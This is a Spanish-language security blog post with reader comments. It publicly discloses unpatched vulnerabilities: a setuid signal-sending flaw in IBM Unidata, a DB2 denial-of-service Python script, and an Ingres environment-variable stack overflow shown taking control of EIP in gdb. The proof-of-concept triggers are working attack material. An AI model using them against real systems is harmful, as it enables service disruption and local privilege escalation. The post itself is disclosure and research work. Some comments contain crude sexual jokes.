Random IRC quote :      <erg0t> me da miedito

Casi 0days de llorar…

Muchas veces haciendo ingeniería inversa (o mero fuzzing) de algún software encontramos vulnerabilidades que no valen para vender por uno u otro motivo (por ejemplo, porque son puñeteros DOSes) pero que podrían ser útiles o interesantes aunque solo sea por ver que fallas se encuentran en ciertos softwares «empresariales». En este caso os voy a hablar de algunas vulnerabilidades de este tipo que me he encontrado y que tengo por costumbre no reportarlas al vendedor cuando ha habido trato previo y han pasado de mí o han tardado más de 3 meses en dar la respuesta inicial…

Bug local estúpido en IBM Unidata

Este curioso bug que afecta todas las versiones de IBM Unidata para Unix y Linux se encuentra en el binario setuid root «udt_signal». La vulnerabilidad está aquí:

.text:08048480 main            proc near               ; DATA XREF: _start+17^o                                                      ^
│.text:08048480
│.text:08048480 uid             = dword ptr -20h
│.text:08048480 sig             = dword ptr -1Ch
│.text:08048480 n               = dword ptr -18h
│.text:08048480 s               = dword ptr -14h
│.text:08048480 argc            = byte ptr  4
│.text:08048480 argv            = dword ptr  8
│.text:08048480
│.text:08048480                 lea     ecx, [esp+argc]
│.text:08048484                 and     esp, 0FFFFFFF0h
│.text:08048487                 push    dword ptr [ecx-4]
│.text:0804848A                 push    ebp
│.text:0804848B                 mov     ebp, esp
│.text:0804848D                 push    ebx
│.text:0804848E                 push    ecx
│.text:0804848F                 sub     esp, 10h
│.text:08048492                 mov     eax, [ecx+4]
│.text:08048495                 cmp     dword ptr [ecx], 2
│.text:08048498                 jle     short loc_80484F1 ; exit if argc <= 2
│.text:0804849A                 mov     [esp+20h+s], 0
│.text:080484A2                 mov     [esp+20h+n], 0Ah
│.text:080484AA                 mov     [esp+20h+sig], 0
│.text:080484B2                 mov     eax, [eax+4]
│.text:080484B5                 mov     [esp+20h+uid], eax
│.text:080484B8                 call    ___strtol_internal ; Convert 2nd parameter to number
│.text:080484BD                 mov     [esp+20h+uid], 0
│.text:080484C4                 mov     ebx, eax
│.text:080484C6                 call    _setuid         ; setuid(0)
│.text:080484CB                 add     eax, 1
│.text:080484CE                 jz      short loc_8048518 ; Exit if can not change the user context
│.text:080484D0                 mov     [esp+20h+sig], SIGUSR2
│.text:080484D8                 mov     [esp+20h+uid], ebx
│.text:080484DB                 call    _kill           ; It’s really funy!
│.text:080484E0                 add     eax, 1
│.text:080484E3                 jnz     short loc_8048549
│.text:080484E5                 mov     [esp+20h+uid], 1
│.text:080484EC                 call    _exit

Esta falla permite envíar la señal SIGUSR2 (con cualquier usuario) a cualquier proceso del sistema. El comportamiento habitual de un programa que corra en Unix/Linux cuando recibe la señal SIGUSR2 si no está controlada es morir, salir abruptamente. Así pues, se puede aprovechar esta cualidad para matar la mayoría de procesos del sistema que se estén ejecutando, como por ejemplo cualquier shell (bash, sh, etc…) o procesos en batch. Ejemplo complicado:

$ /usr/ud72/bin/udt_signal pid numero_que_te_da_igual

Este bug no lo comuniqué a IBM porque ya había tenido una «grata» experiencia previa con ellos: Primero me decían que no había contacto de seguridad, luego que no sabían, luego lo envié a un conocido de IBM con el que ya había hablado anteriormente por un bug en «dtterm» en IBM AIX y, bueno, tardé más de 3 meses en siquiera comunicarles la siguiente falla.

Denegacion de Servicio Post-Autenticación en IBM DB2

En función de como se llamen a los procedimientos almacenados en IBM DB2 se puede encontrar una vulnerabilidad bastante tonta: Utilizando binding variables y poniendo un espacio entre el nombre del esquema y el procedimiento o función IBM DB2 obtiene un puntero nulo buscando en la base de datos ese esquema o procedimiento, sin embargo, otra comprobación que hace (esta vez si correctamente) le dice que existe ese SCHEMA.PROCEDURE y asume que va todo bien. Resultado: Todo el servidor de base de datos se va al garete. El bug se puede reproducir fácilmente así:

#!/usr/bin/python

import sys
import DB2

global connection

def connect():
    global connection

    connDict = {}
    connDict["dsn"] = "sample"
    connDict["uid"] = "test"
    connDict["pwd"] = "test1"

    connection = DB2.connect(**connDict)

def main():
    global connection
    global funnydata

    connect()
    cur = connection.cursor()
    cur.callproc("SYSPROC .HASNICKNAMECHANGED", (‘TEST’, None, None, None, None, None))

    for x in cur.fetchall():
        print "Value is", x, var2
    cur.close()

if __name__ == "__main__":
    main()

Así de simple, un espacio en el nombre del esquema y, kaboom! Este fallo me costó más de 3 meses reportarlo hace más de 1 año y medio. Vamos, creo que ya era hora de sacar a la luz tan sumamente estúpido bug aún por corregir.

Escalada de privilegios local en Ingres Database

Este es el típico stack overflow en un binario suid (eso sí, suid ingres, no suid root, por desgracia…) de esos de los años 70 que a día de hoy todo el mundo supone que no existen… Bueno, pues ya se ve que siguen existiendo. Un trigger de esta vulnerabilidad:

[joxean@dhcppc2 utility]$ export II_INSTALLATION=`perl -e 'print "P"x258;'``echo -e "\x60\x60\x60\x60"`DCBAccccnnnnxxxx
[joxean@dhcppc2 utility]$ gdb csreport
(gdb) r
Starting program: /opt/Ingres/IngresII/ingres/utility/csreport

Program received signal SIGSEGV, Segmentation fault.
0x78787878 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0x80bf2a0        135000736
edx            0x0      0
ebx            0x60606060       1616928864
esp            0xbffdf9c0       0xbffdf9c0
ebp            0x6e6e6e6e       0x6e6e6e6e
esi            0x41424344       1094861636
edi            0x63636363       1667457891
eip            0x78787878       0x78787878

Como podéis ver es super triste. Intenté comunicarme con Ingres hace ya más de 1 año y medio y no conseguí nada. Por otra parte, al ser open source, me bajé el código para intentar corregirlo por mi parte y, pffff… Si alguien lo entiende después de bajárselo que me avise. Pondría el asm de la vulnerabilidad pero… ¿Realmente a alguien le interesa ver un puto stack overflow de toda la vida con una variable de entorno no controlada? Definitivamente no.

Al igual que esta vulnerabilidad, en el informe que intenté envíar aparecían estas otras vulnerabilidades tristemente tristes:

1) "verifydb" long username or long database name stack overflow
2) "wakeup" II_ADMIN environment variable overflow
3) Multiple binaries II_INSTALLATION environment variable overflow

Todos estos binarios son suid ingres así que, ya sabéis, cualquiera puede tomar el control de la base de datos y el software de base de datos de Ingres aprovechando un stack overflow en un binario suid. Bienvenidos a los años 70!

Estas vulnerabilidades no es que sean «precisamente la oxtia» ya que, como he comentado, son fallas que me he encontrado y que no eran gran cosa pero, sea como sea, da una buena idea de como está el mundo de la seguridad informática en el software que utilizamos a diario. Yo he pensado alguna en meterme a fumar porros para que se me quita la paranoia que tengo de que todo software que usamos tiene como mínimo una vulnerabilidad remotamente explotable…

Bueno, espero que os haya gustado este mini-post, ya sé que no es gran cosa, pero me hacía ilusión sacar viejas fallas a la luz. En el siguiente post os hablaré de fallas en Informix IDS 11.5, la última versión hoy por hoy de este software. Un saludo!

9 Comentarios para “Casi 0days de llorar…”

  1. Jon
    Comment por Jon | 01/12/10 at 7:26 pm

    Buen post! Me gusta el estilo de escribir, se nota la denominación de origen 😀

  2. Comment por Benito Camelas | 01/12/10 at 8:08 pm

    Como las fallas de valencia ninguna

    8===[ fallas ]===D

  3. Comment por Amián | 01/12/10 at 8:10 pm

    Que rechingón wey, estuve de vacanciones y encontrome adisgusto por no poderme leer el este blog tan guasón. Saludos remuchos y enhorabuenita por el trabajo a todos

  4. Comment por Ruben | 01/12/10 at 8:24 pm

    Dales duro matalaz xDD claro que sí!

  5. Comment por La Nuri | 01/13/10 at 4:36 am

    Te atreverias a buscarme a mi alguna vulnerabilidad? Uhmmm, creo que eres un hacker malo… muy malo…

  6. Comment por matalaz | 01/13/10 at 6:10 am

    @La Nuri. Me han contado que ya estás «wide open», así que no tendría misterio…

  7. Comment por Mario | 01/13/10 at 7:32 am

    Iros a un bloghotel!

  8. Comment por Newlog | 01/14/10 at 7:36 am

    A mi me ha gustado ^^ Me he escolingado (tal y como dice el captcha) xD

    Por cierto, las ponencias de la rooted ya estan out! Espero con ganas el 0day prometido 😛

  9. Comment por Mario Ballano | 01/14/10 at 7:59 am

Se han cerrado los comentarios